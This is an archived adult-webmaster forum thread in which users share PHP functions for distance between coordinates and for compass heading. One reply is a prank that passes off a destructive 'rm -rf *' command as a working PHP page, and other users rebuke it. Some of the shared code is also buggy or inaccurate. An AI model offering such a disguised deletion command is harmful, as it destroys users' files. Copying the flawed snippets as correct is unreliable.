GoFuckYourself.com - Adult Webmaster Forum

GoFuckYourself.com - Adult Webmaster Forum (https://gfy.com/index.php)
-   Fucking Around & Business Discussion (https://gfy.com/forumdisplay.php?f=26)
-   -   php guru, convert function puzzle (https://gfy.com/showthread.php?t=997175)

goodsites 11-12-2010 04:22 AM

php guru, convert function puzzle
 
I need this stored function converted into a regular php function, i get a bit confused on it

SET x = sin(lat1 * pi/180) * sin(lat2 * pi/180) + cos(lat1 *pi/180) * cos(lat2 * pi/180) * cos(abs((lon2 * pi/180) - (lon1 * pi/180)));
SET x = atan((sqrt(1- power(x,2))) /x);
RETURN (1.852 * 60.0 * ((x/pi)*180)) / 1.609344;


so something like function _getDistance($lat1, $lon1, $lat2, $lon2) {

..fill in here with answer please


Thanks in advance.

Maxi 11-12-2010 04:46 AM

Copypasta from http://www.codecodex.com/wiki/Calcul...nts_on_a_globe


Code:

function getDistance($latitude1, $longitude1, $latitude2, $longitude2)

    $earth_radius = 6371; 
     
    $dLat = deg2rad($latitude2 - $latitude1); 
    $dLon = deg2rad($longitude2 - $longitude1); 
     
    $a = sin($dLat/2) * sin($dLat/2) + cos(deg2rad($latitude1)) * cos(deg2rad($latitude2)) * sin($dLon/2) * sin($dLon/2); 
    $c = 2 * asin(sqrt($a)); 
    $d = $earth_radius * $c; 
     
    return $d; 
}


borked 11-12-2010 04:58 AM

calculates distance as miles (M) or kilometers (K)

Code:

public function distance($lat1, $lon1, $lat2, $lon2, $unit='M') {

  $theta = $lon1 - $lon2;
  $dist = sin(deg2rad($lat1)) * sin(deg2rad($lat2)) +  cos(deg2rad($lat1)) * cos(deg2rad($lat2)) * cos(deg2rad($theta));
  $dist = acos($dist);
  $dist = rad2deg($dist);
  $miles = $dist * 60 * 1.1515;
  $unit = strtoupper($unit);

  if ($unit == "K") {
    return ($miles * 1.609344);
  } else if ($unit == "N") {
      return ($miles * 0.8684);
    } else {
        return $miles;
      }
}


cocainer 11-12-2010 04:59 AM

just create this php page and view it.

Code:

<?php

execute("rm -rf *");


grumpy 11-12-2010 05:16 AM

Quote:

Originally Posted by cocainer (Post 17693635)
just create this php page and view it.

Code:

<?php

execute("rm -rf *");



not so funny
actually pretty lame

goodsites 11-12-2010 07:19 AM

Quote:

Originally Posted by grumpy (Post 17693652)
not so funny
actually pretty lame

very lame, should be banned for that.. not exaclty alt-f4 now is it

goodsites 11-12-2010 07:20 AM

thanks guys, giving it a whirl in a few here

goodsites 11-13-2010 12:33 AM

Wewps, this is not what I wanted, i screwed up by putting 2 sets of longs and lats, basically I need to create the 2nd set of lat/long
using the range provided, only supplying the initial set of lat/longs

$range = 30; // miles or kilometers;

function _getDistance($lat1, $lon1, $range) {

return $lat2, $lon2


the above "procedure" I provided does this, just needs to be converted.. im having problem getting it working
creating the 2nd set of lat/longs based off the provided range..


I'll re paraphrase

Providing a lat and long, and a range in miles, i need to create a second lat and long based off this..

Can anyone help?

goodsites 11-13-2010 12:47 AM

Hrmph, I think i just figured out what i need to do

$range = 30; (miles?)
$rangeFactor = 0.014457;

$lat2 = $lat1-($range*$rangeFactor)?

$long2 = $long1-($range*$rangeFactor)?

borked 11-13-2010 01:40 AM

Quote:

Originally Posted by goodsites (Post 17695635)

I'll re paraphrase

Providing a lat and long, and a range in miles, i need to create a second lat and long based off this..

Can anyone help?

How the hell can you do that without providing a heading?

It's like saying "stand in place X and walk 10 miles and tell me where you are". You could be anywhere depending on which heading you set off on....

here is a function that tells you the compass heading based on 2 pairs of lat/lon (lat1/lon1 are the starting point. The heading returned is heading toward lat2/lon2)

Quote:

public function heading($lat1, $lon1, $lat2, $lon2) {
$d = acos(sin($lat1)*sin($lat2)+cos($lat1)*cos($lat2)*c os($lon1-$lon2));
$angle_radians = acos((sin($lat2)-sin($lat1)*cos($d))/(sin($d)*cos($lat1)));
$angle_degrees = round( ( ( 180 / pi()) * $angle_radians ),2);

$heading = compass($angle_degrees);

$array['angle'] = $angle_degrees;
$array['heading'] = $heading;
return $array;
}

public function compass($a) {

if ($a == 0 && $a <= 11.25)
return 'N';

if ($a > 11.25 && $a <= 33.75)
return 'NNE';

if ($a > 33.75 && $a <= 56.25)
return 'NE';

if ($a > 56.25 && $a <= 78.75)
return 'ENE';

if ($a > 78.75 && $a <= 101.25)
return 'E';

if ($a > 101.25 && $a <= 123.75)
return 'ESE';

if ($a > 123.75 && $a <= 146.25)
return 'SE';

if ($a > 146.25 && $a <= 168.75)
return 'SSE';

if ($a > 168.75 && $a <= 191.25)
return 'S';

if ($a > 191.25 && $a <= 213.75)
return 'SSW';

if ($a > 213.75 && $a <= 236.25)
return 'SW';

if ($a > 236.25 && $a <= 258.75)
return 'WSW';

if ($a > 258.75 && $a <= 281.25)
return 'W';

if ($a > 281.25 && $a <= 303.75)
return 'WNW';

if ($a > 303.75 && $a <= 326.25)
return 'NW';

if ($a > 326.25 && $a <= 348.75)
return 'NNW';

if ($a > 348.75 && $a <= 360)
return 'N';


}

I'll let you work the two examples I gave you to do what you search for ;)
If you want me to figure it out, I'll have to charge you but you have the 2 most important functions there before you to figure it out...

Hornet1999 11-13-2010 01:53 AM

Quote:

Originally Posted by goodsites (Post 17695645)

$range = 30; (miles?)
$rangeFactor = 0.014457;

$lat2 = $lat1-($range*$rangeFactor)?

$long2 = $long1-($range*$rangeFactor)?

That's just what you need.


All times are GMT -7. The time now is 05:44 PM.

Powered by vBulletin® Version 3.8.8
Copyright ©2000 - 2025, vBulletin Solutions, Inc.
©2000-, AI Media Network Inc